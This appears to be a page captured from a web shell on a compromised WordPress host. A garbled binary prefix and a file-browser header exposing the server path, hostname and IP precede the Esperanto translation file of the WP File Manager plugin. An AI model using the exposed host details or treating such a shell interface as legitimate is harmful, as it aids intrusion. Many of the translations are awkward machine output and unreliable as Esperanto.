PK qhYJFF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/v1world.us/wp-content/plugins/wp-file-manager/languages/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/v1world.us/wp-content/plugins/wp-file-manager/languages/wp-file-manager-eo.po

msgid ""
msgstr ""
"Project-Id-Version: WP File Manager\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2021-07-16 14:54+0530\n"
"PO-Revision-Date: 2021-07-16 14:57+0530\n"
"Last-Translator: admin <kajal.gill@mysenseinc.in>\n"
"Language-Team: \n"
"Language: eo\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Poedit 2.4.3\n"
"X-Poedit-KeywordsList: __;_e\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-SearchPath-0: .\n"

#: file_folder_manager.php:119
msgid "Database backup restored successfully."
msgstr "Datumbaza rezervo sukcese restaŭris."

#: file_folder_manager.php:121
msgid "Unable to restore DB backup."
msgstr "Ne eblas restarigi DB-sekurkopion."

#: file_folder_manager.php:128
msgid "Plugins backup restored successfully."
msgstr "Kromaĵoj-rezervo sukcese restarigis."

#: file_folder_manager.php:130
msgid "Unable to restore plugins."
msgstr "Ne eblas restarigi kromprogramojn."

#: file_folder_manager.php:137
msgid "Themes backup restored successfully."
msgstr "Sekurkopioj de sekurkopioj restarigitaj sukcese."

#: file_folder_manager.php:139
msgid "Unable to restore themes."
msgstr "Ne eblas restarigi temojn."

#: file_folder_manager.php:146
msgid "Uploads backup restored successfully."
msgstr "Alŝutoj de sekurkopioj restarigitaj sukcese."

#: file_folder_manager.php:148
msgid "Unable to restore uploads."
msgstr "Ne eblas restarigi alŝutojn."

#: file_folder_manager.php:155
msgid "Others backup restored successfully."
msgstr "Aliaj sekurkopioj sukcese restaŭris."

#: file_folder_manager.php:157
msgid "Unable to restore others."
msgstr "Ne povas restarigi aliajn."

#: file_folder_manager.php:161
msgid "Backup not found!"
msgstr "Sekurkopio ne trovita!"

#: file_folder_manager.php:204
msgid "Backups removed successfully!"
msgstr "Sekurkopioj forigitaj sukcese!"

#: file_folder_manager.php:206 file_folder_manager.php:327
msgid "Unable to removed backup!"
msgstr "Ne eblas forigi sekurkopion!"

#: file_folder_manager.php:228
msgid "Database backup done on date "
msgstr "Datumbaza rezervo farita ĝis nun "

#: file_folder_manager.php:232
msgid "Plugins backup done on date "
msgstr "Kromaĵoj-sekurkopio farita ĝis nun "

#: file_folder_manager.php:236
msgid "Themes backup done on date "
msgstr "Temoj rezervo farita je dato "

#: file_folder_manager.php:240
msgid "Uploads backup done on date "
msgstr "Alŝutoj de sekurkopioj plenumitaj ĝis nun "

#: file_folder_manager.php:244
msgid "Others backup done on date "
msgstr "Aliaj sekurkopioj plenumitaj ĝis nun "

#: file_folder_manager.php:248 file_folder_manager.php:627
msgid "Logs"
msgstr "Registroj"

#: file_folder_manager.php:254
msgid "No logs found!"
msgstr "Neniuj protokoloj trovitaj!"

#: file_folder_manager.php:325
msgid "Backup removed successfully!"
msgstr "Sekurkopio forigita sukcese!"

#: file_folder_manager.php:349
msgid "<span class=\"fm_console_error\">Nothing selected for backup</span>"
msgstr "<span class=\"fm_console_error\">Nenio elektita por sekurkopio</span>"

#: file_folder_manager.php:369
msgid "<span class=\"fm_console_error\">Security Issue.</span>"
msgstr "<span class=\"fm_console_error\">Sekureca Problemo.</span>"

#: file_folder_manager.php:378
msgid "<span class=\"fm_console_success\">Database backup done.</span>"
msgstr "<span class=\"fm_console_success\">Datumbaza rezervo finiĝis.</span>"

#: file_folder_manager.php:381
msgid ""
"<span class=\"fm_console_error\">Unable to create database backup.</span>"
msgstr ""
"<span class=\"fm_console_error\">Ne eblas krei datumbazan rezervon.</span>"

#: file_folder_manager.php:395
msgid "<span class=\"fm_console_success\">Plugins backup done.</span>"
msgstr "<span class=\"fm_console_success\">Rezerva kromaĵo finiĝis.</span>"

#: file_folder_manager.php:398
msgid "<span class=\"fm_console_error\">Plugins backup failed.</span>"
msgstr "<span class=\"fm_console_error\">Rezerva kromaĵo malsukcesis.</span>"

#: file_folder_manager.php:407
msgid "<span class=\"fm_console_success\">Themes backup done.</span>"
msgstr "<span class=\"fm_console_success\">Sekurkopio de temoj finita.</span>"

#: file_folder_manager.php:410
msgid "<span class=\"fm_console_error\">Themes backup failed.</span>"
msgstr "<span class=\"fm_console_error\">Subteno de temoj malsukcesis.</span>"

#: file_folder_manager.php:420
msgid "<span class=\"fm_console_success\">Uploads backup done.</span>"
msgstr ""
"<span class=\"fm_console_success\">Alŝutoj de sekurkopio finitaj.</span>"

#: file_folder_manager.php:423
msgid "<span class=\"fm_console_error\">Uploads backup failed.</span>"
msgstr ""
"<span class=\"fm_console_error\">Alŝutoj de sekurkopio malsukcesis.</span>"

#: file_folder_manager.php:432
msgid "<span class=\"fm_console_success\">Others backup done.</span>"
msgstr "<span class=\"fm_console_success\">Aliaj rezervoj finiĝis.</span>"

#: file_folder_manager.php:435
msgid "<span class=\"fm_console_error\">Others backup failed.</span>"
msgstr "<span class=\"fm_console_error\">Aliaj rezervoj malsukcesis.</span>"

#: file_folder_manager.php:439 file_folder_manager.php:443
msgid "<span class=\"fm_console_success\">All Done</span>"
msgstr "<span class=\"fm_console_success\">Ĉio Farita</span>"

#: file_folder_manager.php:612 file_folder_manager.php:613
#: lib/wpfilemanager.php:23
msgid "WP File Manager"
msgstr "WP-Dosieradministrilo"

#: file_folder_manager.php:620
msgid "Settings"
msgstr "Agordoj"

#: file_folder_manager.php:622 inc/root.php:30
msgid "Preferences"
msgstr "Preferences"

#: file_folder_manager.php:624
msgid "System Properties"
msgstr "Propraĵoj de la sistemo"

#: file_folder_manager.php:626
msgid "Shortcode - PRO"
msgstr "Shortcode - PRO"

#: file_folder_manager.php:628
msgid "Backup / Restore"
msgstr "Sekurkopio / Restarigo"

#: file_folder_manager.php:881
msgid "Buy Pro"
msgstr "Aĉetu Profesiulon"

#: file_folder_manager.php:882
msgid "Donate"
msgstr "Doni"

#: file_folder_manager.php:1091
msgid ""
"<div class=\"updated settings-error notice is-dismissible\" id=\"setting-"
"error-settings_updated\"> \n"
"<p><strong>"
msgstr ""

#: file_folder_manager.php:1098
msgid ""
"<div class=\"error settings-error notice is-dismissible\" id=\"setting-error-"
"settings_updated\"> \n"
"<p><strong>"
msgstr ""

#: file_folder_manager.php:1231
msgid "File doesn't exist to download."
msgstr "Dosiero ne ekzistas por elŝuti."

#: file_folder_manager.php:1236
msgid "Invalid Security Code."
msgstr "Nevalida Sekureca Kodo."

#: file_folder_manager.php:1241
msgid "Missing backup id."
msgstr "Mankas rezerva identigilo."

#: file_folder_manager.php:1244
msgid "Missing parameter type."
msgstr "Mankas parametro-tipo."

#: file_folder_manager.php:1247
msgid "Missing required parameters."
msgstr "Mankas bezonataj parametroj."

#: inc/backup.php:583
msgid "WP File Manager - Backup/Restore"
msgstr "WP-Dosieradministrilo - Rezerva / Restariga"

#: inc/backup.php:589
msgid "Backup Options:"
msgstr "Rezerva Opcioj:"

#: inc/backup.php:596
msgid "Database Backup"
msgstr "Datumbaza Sekurkopio"

#: inc/backup.php:602
msgid "Files Backup"
msgstr "Dosieroj Rezerva"

#: inc/backup.php:606
msgid "Plugins"
msgstr "Kromaĵoj"

#: inc/backup.php:609
msgid "Themes"
msgstr "Themes"

#: inc/backup.php:612
msgid "Uploads"
msgstr "Alŝutoj"

#: inc/backup.php:615
msgid "Others (Any other directories found inside wp-content)"
msgstr "Aliaj (Ĉiuj aliaj adresaroj trovitaj en wp-content)"

#: inc/backup.php:619
msgid "Backup Now"
msgstr "Rezerva Nun"

#: inc/backup.php:627
msgid "Time now"
msgstr "Tempo nun"

#: inc/backup.php:637
msgid "SUCCESS"
msgstr "SUKCESO"

#: inc/backup.php:639
msgid "Backup successfully deleted."
msgstr "Sekurkopio sukcese forigita."

#: inc/backup.php:640
msgid "Ok"
msgstr "Bone"

#: inc/backup.php:655
msgid "DELETE FILES"
msgstr "DELETE FILES"

#: inc/backup.php:657
msgid "Are you sure you want to delete this backup?"
msgstr "Ĉu vi certas, ke vi volas forigi ĉi tiun sekurkopion?"

#: inc/backup.php:658 inc/backup.php:677
msgid "Cancel"
msgstr "Nuligi"

#: inc/backup.php:659 inc/backup.php:678
msgid "Confirm"
msgstr "Konfirmu"

#: inc/backup.php:674
msgid "RESTORE FILES"
msgstr "RESTORI DOSIEROJN"

#: inc/backup.php:676
msgid "Are you sure you want to restore this backup?"
msgstr "Ĉu vi certas, ke vi volas restarigi ĉi tiun sekurkopion?"

#: inc/backup.php:704
msgid "Last Log Message"
msgstr "Lasta Ensaluta Mesaĝo"

#: inc/backup.php:707
msgid "The backup apparently succeeded and is now complete."
msgstr "La rezervo ŝajne sukcesis kaj nun finiĝis."

#: inc/backup.php:709
msgid "No log message"
msgstr "Neniu protokola mesaĝo"

#: inc/backup.php:715
msgid "Existing Backup(s)"
msgstr "Ekzistantaj Sekurkopioj"

#: inc/backup.php:724
msgid "Backup Date"
msgstr "Rezerva Dato"

#: inc/backup.php:727
msgid "Backup data (click to download)"
msgstr "Rezerva datumo (alklaku por elŝuti)"

#: inc/backup.php:730
msgid "Action"
msgstr "Ago"

#: inc/backup.php:750
msgid "Today"
msgstr "Hodiaŭ"

#: inc/backup.php:771
msgid "Restore"
msgstr "Restaŭri"

#: inc/backup.php:772 inc/backup.php:782
msgid "Delete"
msgstr "Forigi"

#: inc/backup.php:773
msgid "View Log"
msgstr "Vidi protokolon"

#: inc/backup.php:778
msgid "Currently no backup(s) found."
msgstr "Nuntempe neniu sekurkopio trovita."

#: inc/backup.php:781
msgid "Actions upon selected backup(s)"
msgstr "Agoj sur elektitaj sekurkopioj"

#: inc/backup.php:783
msgid "Select All"
msgstr "Elekti ĉiujn"

#: inc/backup.php:784
msgid "Deselect"
msgstr "Malelekti"

#: inc/backup.php:786
msgid "Note:"
msgstr "Noto:"

#: inc/backup.php:786
msgid "Backup files will be under"
msgstr "Rezervaj dosieroj estos sub"

#: inc/backup.php:803
msgid "Backup is running, please wait"
msgstr "Sekurkopio funkcias, bonvolu atendi"

#: inc/backup.php:901
msgid "Are you sure want to remove selected backup(s)?"
msgstr "Ĉu vi certe volas forigi elektitajn sekurkopiojn?"

#: inc/contribute.php:3
msgid "WP File Manager Contribution"
msgstr "Kontribuo de WP-Dosieradministrilo"

#: inc/logs.php:7
msgid ""
"Note: These are demo screenshots. Please buy File Manager pro to Logs "
"functions."
msgstr ""
"Noto: Ĉi tiuj estas elmontraj ekrankopioj. Bonvolu aĉeti dosieradministrilon "
"por Logs-funkcioj."

#: inc/logs.php:8 inc/settings.php:12 inc/settings.php:27
#: inc/system_properties.php:5 lib/wpfilemanager.php:25
msgid "Buy PRO"
msgstr "Aĉetu PRO"

#: inc/logs.php:9
msgid "Edit Files Logs"
msgstr "Redaktu dosierojn"

#: inc/logs.php:11
msgid "Download Files Logs"
msgstr "Elŝuti dosierojn"

#: inc/logs.php:13
msgid "Upload Files Logs"
msgstr "Alŝutu dosierojn"

#: inc/root.php:25
msgid "Settings saved."
msgstr "Agordoj konservitaj."

#: inc/root.php:25 inc/root.php:28
msgid "Dismiss this notice."
msgstr "Malakceptu ĉi tiun avizon."

#: inc/root.php:28
msgid "You have not made any changes to be saved."
msgstr "Vi ne faris savindajn ŝanĝojn."

#: inc/root.php:37
msgid "Public Root Path"
msgstr "Publika Radika Vojo"

#: inc/root.php:40
msgid "File Manager Root Path, you can change according to your choice."
msgstr "Dosiera Administranto-Radika Vojo, vi povas ŝanĝi laŭ via elekto."

#: inc/root.php:41
msgid "Default:"
msgstr "Defaŭlta:"

#: inc/root.php:42
msgid ""
"Please change this carefully, wrong path can lead file manager plugin to go "
"down."
msgstr ""
"Bonvolu ŝanĝi ĉi tion zorge, malĝusta vojo povas konduki al "
"dosieradministrila kromaĵo malsupren."

#: inc/root.php:46
msgid "Enable Trash?"
msgstr "Ĉu ebligi rubujon?"

#: inc/root.php:49
msgid "After enable trash, your files will go to trash folder."
msgstr "Post ebligi rubujon, viaj dosieroj iros al rubujo."

#: inc/root.php:54
msgid "Enable Files Upload to Media Library?"
msgstr "Ĉu ebligi alŝutojn de dosieroj al amaskomunikila biblioteko?"

#: inc/root.php:57
msgid "After enabling this all files will go to media library."
msgstr "Post tio, ĉiuj dosieroj iros al amaskomunikila biblioteko."

#: inc/root.php:62
msgid "Save Changes"
msgstr "Konservu Ŝanĝojn"

#: inc/settings.php:10
msgid "Settings - General"
msgstr "Agordoj - Ĝeneralaj"

#: inc/settings.php:11 inc/settings.php:26
msgid ""
"Note: This is just a demo screenshot. To get settings please buy our pro "
"version."
msgstr ""
"Noto: Ĉi tio estas nur demo-ekrankopio. Por akiri agordojn bonvolu aĉeti "
"nian profesian version."

#: inc/settings.php:13
msgid ""
"Here admin can give access to user roles to use filemanager. Admin can set "
"Default Access Folder and also control upload size of filemanager."
msgstr ""
"Ĉi tie administranto povas doni aliron al uzantaj roloj por uzi "
"dosieradministrilon. Administranto povas agordi Defaŭltan Aliran Dosierujon "
"kaj ankaŭ regi alŝutajn grandecojn de dosieradministrilo."

#: inc/settings.php:15
msgid "Settings - Code-editor"
msgstr "Agordoj - Kodredaktilo"

#: inc/settings.php:16
msgid ""
"File Manager has a code editor with multiple themes. You can select any "
"theme for code editor. It will display when you edit any file. Also you can "
"allow fullscreen mode of code editor."
msgstr ""
"Dosieradministrilo havas kodredaktilon kun multaj temoj. Vi povas elekti iun "
"ajn temon por kodredaktilo. Ĝi aperos kiam vi redaktos iun ajn dosieron. "
"Ankaŭ vi povas permesi plenekranan reĝimon de kodredaktilo."

#: inc/settings.php:18
msgid "Code-editor View"
msgstr "Kodo-redaktilo"

#: inc/settings.php:20
msgid "Settings - User Restrictions"
msgstr "Agordoj - Uzaj Limigoj"

#: inc/settings.php:21
msgid ""
"Admin can restrict actions of any user. Also hide files and folders and can "
"set different - different folders paths for different users."
msgstr ""
"Administranto povas limigi agojn de iu ajn uzanto. Ankaŭ kaŝu dosierojn kaj "
"dosierujojn kaj povas agordi malsamajn - malsamajn dosierujojn por diversaj "
"uzantoj."

#: inc/settings.php:23
msgid "Settings - User Role Restrictions"
msgstr "Agordoj - Limigoj de Uzanto-Rolo"

#: inc/settings.php:24
msgid ""
"Admin can restrict actions of any userrole. Also hide files and folders and "
"can set different - different folders paths for different users roles."
msgstr ""
"Administranto povas limigi agojn de iu ajn userrolo. Ankaŭ kaŝu dosierojn "
"kaj dosierujojn kaj povas agordi malsamajn - malsamajn dosierujojn por "
"malsamaj roloj de uzantoj."

#: inc/shortcode_docs.php:11
msgid "File Manager - Shortcode"
msgstr "Dosieradministrilo - Shortcode"

#: inc/shortcode_docs.php:15 inc/shortcode_docs.php:17
#: inc/shortcode_docs.php:19
msgid "USE:"
msgstr "UZO:"

#: inc/shortcode_docs.php:15
msgid ""
"<code>[wp_file_manager_admin]</code> -> It will show file manager on front "
"end. You can control all settings from file manager settings. It will work "
"same as backend WP File Manager."
msgstr ""
"<code> [wp_file_manager_admin] </code> -> Ĝi montros dosieradministrilon ĉe "
"antaŭa finaĵo. Vi povas regi ĉiujn agordojn de agordoj de "
"dosieradministrilo. Ĝi funkcios same kiel malantaŭa WP-Dosieradministrilo."

#: inc/shortcode_docs.php:17
msgid ""
"<code>[wp_file_manager]</code> -> It will show file manager on front end. "
"But only Administrator can access it and will control from file manager "
"settings."
msgstr ""
"<code> [wp_file_manager] </code> -> Ĝi montros dosieradministrilon ĉe antaŭa "
"finaĵo. Sed nur Administranto povas aliri ĝin kaj regos laŭ agordoj de "
"dosieradministrilo."

#: inc/shortcode_docs.php:19
msgid ""
"<code>[wp_file_manager view=\"list\" lang=\"en\" theme=\"light\" dateformat="
"\"d M, Y h:i A\" allowed_roles=\"editor,author\" access_folder=\"wp-content/"
"plugins\" write = \"true\" read = \"false\" hide_files = \"kumar,abc.php\" "
"lock_extensions=\".php,.css\" allowed_operations=\"upload,download\" "
"ban_user_ids=\"2,3\"]"
msgstr ""
"<code>[wp_file_manager view=\"list\" lang=\"en\" theme=\"light\" dateformat="
"\"d M, Y h:i A\" allowed_roles=\"editor,author\" access_folder=\"wp-content/"
"plugins\" write = \"true\" read = \"false\" hide_files = \"kumar,abc.php\" "
"lock_extensions=\".php,.css\" allowed_operations=\"upload,download\" "
"ban_user_ids=\"2,3\"]"

#: inc/shortcode_docs.php:23
msgid "Parameters:"
msgstr "Parametroj:"

#: inc/shortcode_docs.php:26
msgid "allowed_roles = \"*\""
msgstr ""

#: inc/shortcode_docs.php:26
msgid ""
"-> It will allow all roles to access file manager on front end or You can "
"simple use for particular user roles as like allowed_roles=\"editor,author"
"\" (seprated by comma(,))"
msgstr ""
"-> Ĝi permesos al ĉiuj roloj aliri dosieradministrilon ĉe antaŭa finaĵo aŭ "
"Vi povas simple uzi por apartaj uzantaj roloj kiel allowed_roles=\"editor,"
"author\" (malkaŝita de komo (,))"

#: inc/shortcode_docs.php:28
msgid "access_folder=\"test\""
msgstr ""

#: inc/shortcode_docs.php:28
msgid ""
"-> Here \"test\" is the name of folder which is located on root directory, "
"or you can give path for sub folders as like \"wp-content/plugins\". If "
"leave blank or empty it will access all folders on root directory. Default: "
"Root directory"
msgstr ""
"-> Ĉi tie \"testo\" estas la nomo de dosierujo situanta sur radika "
"dosierujo, aŭ vi povas doni vojon por subdosierujoj kiel \"wp-content / "
"plugins\". Se lasu malplenan aŭ malplenan, ĝi aliros ĉiujn dosierujojn en "
"radika dosierujo. Defaŭlta: Root directory"

#: inc/shortcode_docs.php:30
msgid "write = \"true\""
msgstr ""

#: inc/shortcode_docs.php:30
msgid ""
"-> for access to write files permissions, note: true/false, default: false"
msgstr ""
"-> por aliro al skribaj dosieroj permesoj, notu: vera / falsa, defaŭlta: "
"false"

#: inc/shortcode_docs.php:32
msgid "read = \"true\""
msgstr ""

#: inc/shortcode_docs.php:32
msgid "-> for access to read files permission, note: true/false, default: true"
msgstr ""
"-> por aliro al legado de dosieroj permeso, notu: vera / malvera, defaŭlte: "
"true"

#: inc/shortcode_docs.php:34
msgid "hide_files = \"wp-content/plugins,wp-config.php\""
msgstr ""

#: inc/shortcode_docs.php:34
msgid ""
"-> it will hide mentioned here. Note: seprated by comma(,). Default: Null"
msgstr ""
"-> ĝi kaŝos menciitan ĉi tie. Noto: disigita per komo (,). Defaŭlta: Null"

#: inc/shortcode_docs.php:36
msgid "lock_extensions=\".php,.css"
msgstr ""

#: inc/shortcode_docs.php:36
msgid ""
"-> It will lock mentioned in commas. you can lock more as like \".php,.css,."
"js\" etc. Default: Null"
msgstr ""
"-> Ĝi ŝlosos menciita per komoj. vi povas ŝlosi pli kiel \".php, .css, .js\" "
"ktp Defaŭlta: Null"

#: inc/shortcode_docs.php:38
msgid "allowed_operations=\"*\""
msgstr ""

#: inc/shortcode_docs.php:38
msgid ""
"-> * for all operations and to allow some operation you can mention "
"operation name as like, allowed_operations=\"upload,download\". Note: "
"seprated by comma(,). Default: *"
msgstr ""
"-> * por ĉiuj operacioj kaj por permesi iun operacion, vi povas mencii "
"operacian nomon kiel \"permesita_operacioj\" \"alŝuti, elŝuti\". Noto: "
"disigita per komo (,). Defaŭlta: *"

#: inc/shortcode_docs.php:42
msgid "File Operations List:"
msgstr "Listo de Dosieraj Operacioj:"

#: inc/shortcode_docs.php:46
msgid "mkdir ->"
msgstr ""

#: inc/shortcode_docs.php:46
msgid "Make directory or folder"
msgstr "Faru dosierujon aŭ dosierujon"

#: inc/shortcode_docs.php:47
msgid "mkfile ->"
msgstr ""

#: inc/shortcode_docs.php:47
msgid "Make file"
msgstr "Faru dosieron"

#: inc/shortcode_docs.php:48
msgid "rename ->"
msgstr ""

#: inc/shortcode_docs.php:48
msgid "Rename a file or folder"
msgstr "Renomi dosieron aŭ dosierujon"

#: inc/shortcode_docs.php:49
msgid "duplicate ->"
msgstr ""

#: inc/shortcode_docs.php:49
msgid "Duplicate or clone a folder or file"
msgstr "Duplikas aŭ klonas dosierujon aŭ dosieron"

#: inc/shortcode_docs.php:50
msgid "paste ->"
msgstr ""

#: inc/shortcode_docs.php:50
msgid "Paste a file or folder"
msgstr "Algluu dosieron aŭ dosierujon"

#: inc/shortcode_docs.php:51
msgid "ban ->"
msgstr ""

#: inc/shortcode_docs.php:51
msgid "Ban"
msgstr "Malpermeso"

#: inc/shortcode_docs.php:52
msgid "archive ->"
msgstr ""

#: inc/shortcode_docs.php:52
msgid "To make a archive or zip"
msgstr "Por fari arkivon aŭ poŝton"

#: inc/shortcode_docs.php:53
msgid "extract ->"
msgstr ""

#: inc/shortcode_docs.php:53
msgid "Extract archive or zipped file"
msgstr "Ĉerpu arkivon aŭ zipitan dosieron"

#: inc/shortcode_docs.php:54
msgid "copy ->"
msgstr ""

#: inc/shortcode_docs.php:54
msgid "Copy files or folders"
msgstr "Kopiu dosierojn aŭ dosierujojn"

#: inc/shortcode_docs.php:58
msgid "cut ->"
msgstr ""

#: inc/shortcode_docs.php:58
msgid "Simple cut a file or folder"
msgstr "Simpla tranĉi dosieron aŭ dosierujon"

#: inc/shortcode_docs.php:59
msgid "edit ->"
msgstr ""

#: inc/shortcode_docs.php:59
msgid "Edit a file"
msgstr "Redaktu dosieron"

#: inc/shortcode_docs.php:60
msgid "rm ->"
msgstr ""

#: inc/shortcode_docs.php:60
msgid "Remove or delete files and folders"
msgstr "Forigi aŭ forigi dosierojn kaj dosierujojn"

#: inc/shortcode_docs.php:61
msgid "download ->"
msgstr ""

#: inc/shortcode_docs.php:61
msgid "Download files"
msgstr "Elŝuti dosierojn"

#: inc/shortcode_docs.php:62
msgid "upload ->"
msgstr ""

#: inc/shortcode_docs.php:62
msgid "Upload files"
msgstr "Alŝutu dosierojn"

#: inc/shortcode_docs.php:63
msgid "search -> "
msgstr ""

#: inc/shortcode_docs.php:63
msgid "Search things"
msgstr "Serĉu aferojn"

#: inc/shortcode_docs.php:64
msgid "info ->"
msgstr ""

#: inc/shortcode_docs.php:64
msgid "Info of file"
msgstr "Informo pri dosiero"

#: inc/shortcode_docs.php:65
msgid "help ->"
msgstr ""

#: inc/shortcode_docs.php:65
msgid "Help"
msgstr "Helpu"

#: inc/shortcode_docs.php:71
msgid "ban_user_ids=\"2,3\""
msgstr ""

#: inc/shortcode_docs.php:71
msgid ""
"->  It will ban particular users by just putting their ids seprated by "
"commas(,). If user is Ban then they will not able to access wp file manager "
"on front end."
msgstr ""
"-> Ĝi malpermesos apartajn uzantojn nur metante iliajn identigilojn kun "
"komoj (,). Se uzanto estas Ban, tiam ili ne povos aliri wp-"
"dosieradministrilon ĉe antaŭa finaĵo."

#: inc/shortcode_docs.php:72
msgid "view=\"list\""
msgstr ""

#: inc/shortcode_docs.php:72
msgid "-> Filemanager UI View. Default: grid"
msgstr "-> Filemanager UI-Vido. Defaŭlta: grid"

#: inc/shortcode_docs.php:73
msgid "dateformat=\"d M, Y h:i A\""
msgstr ""

#: inc/shortcode_docs.php:73
msgid "-> File Modified or Create date format. Default: d M, Y h:i A"
msgstr "-> Dosiera Modifita aŭ Kreu datformaton. Defaŭlta: d M, Y h: i A"

#: inc/shortcode_docs.php:74
msgid "lang=\"en\""
msgstr ""

#: inc/shortcode_docs.php:74
msgid "-> File manager Language. Default: English(en)"
msgstr "-> Dosieradministrilo Lingvo. Defaŭlta: English(en)"

#: inc/shortcode_docs.php:75
msgid "theme=\"light\""
msgstr ""

#: inc/shortcode_docs.php:75
msgid "-> File Manager Theme. Default: Light"
msgstr "-> Temo pri Dosieradministrilo. Defaŭlta: Light"

#: inc/system_properties.php:5
msgid "File Manager - System Properties"
msgstr "Dosieradministrilo - Sistemaj Ecoj"

#: inc/system_properties.php:10
msgid "PHP version"
msgstr "PHP-versio"

#: inc/system_properties.php:15
msgid "Maximum file upload size (upload_max_filesize)"
msgstr "Maksimuma grandeco de alŝuta dosiero (upload_max_filesize)"

#: inc/system_properties.php:20
msgid "Post maximum file upload size (post_max_size)"
msgstr "Afiŝu maksimuman dosieron alŝuti grandecon (post_max_size)"

#: inc/system_properties.php:25
msgid "Memory Limit (memory_limit)"
msgstr "Memora Limo (memory_limit)"

#: inc/system_properties.php:30
msgid "Timeout (max_execution_time)"
msgstr "Tempolimo (max_execution_time)"

#: inc/system_properties.php:35
msgid "Browser and OS (HTTP_USER_AGENT)"
msgstr "Foliumilo kaj OS (HTTP_USER_AGENT)"

#: lib/jquery/jquery-ui-1.11.4.js:8
msgid "'"
msgstr ""

#: lib/wpfilemanager.php:31
msgid "Change Theme Here:"
msgstr "Ŝanĝu Temon Ĉi tie:"

#: lib/wpfilemanager.php:35
msgid "Default"
msgstr "Defaŭlta"

#: lib/wpfilemanager.php:39
msgid "Dark"
msgstr "Malhela"

#: lib/wpfilemanager.php:43
msgid "Light"
msgstr "Malpeza"

#: lib/wpfilemanager.php:47
msgid "Gray"
msgstr "Griza"

#: lib/wpfilemanager.php:52
msgid "Windows - 10"
msgstr ""

#: lib/wpfilemanager.php:85
msgid "Welcome to File Manager"
msgstr "Bonvenon al Dosieradministrilo"

#: lib/wpfilemanager.php:88
msgid ""
"We love making new friends! Subscribe below and we promise to\n"
"    keep you up-to-date with our latest new plugins, updates,\n"
"    awesome deals and a few special offers."
msgstr ""
"Ni amas fari novajn amikojn! Abonu sube kaj ni promesas\n"
"    tenu vin ĝisdata kun niaj plej novaj novaj aldonaĵoj, ĝisdatigoj,\n"
"    bonegaj ofertoj kaj kelkaj specialaj ofertoj."

#: lib/wpfilemanager.php:99
msgid "Please Enter First Name."
msgstr "Bonvolu Enigi Antaŭnomon."

#: lib/wpfilemanager.php:107
msgid "Please Enter Last Name."
msgstr "Bonvolu Enigi Familian nomon."

#: lib/wpfilemanager.php:116
msgid "Please Enter Email Address."
msgstr "Bonvolu Enigi Retpoŝtan Adreson."

#: lib/wpfilemanager.php:120
msgid "Verify"
msgstr "Konfirmu"

#: lib/wpfilemanager.php:126
msgid "No Thanks"
msgstr "Ne, dankon"

#: lib/wpfilemanager.php:132
msgid "Terms of Service"
msgstr "Terms of Service"

#: lib/wpfilemanager.php:134
msgid "Privacy Policy"
msgstr "Privateca Politiko"

#: lib/wpfilemanager.php:153
msgid "Saving..."
msgstr "Ŝparante ..."

#: lib/wpfilemanager.php:155
msgid "OK"
msgstr "bone"

#~ msgid "Manage your WP files."
#~ msgstr "Administri viajn WP-dosierojn."

#~ msgid "Extensions"
#~ msgstr "Etendoj"

#~ msgid ""
#~ "Please contribute some donation, to make plugin more stable. You can pay "
#~ "amount of your choice."
#~ msgstr ""
#~ "Bonvolu kontribui iun donacon, por fari plugin pli stabila. Vi povas pagi "
#~ "vian elekton."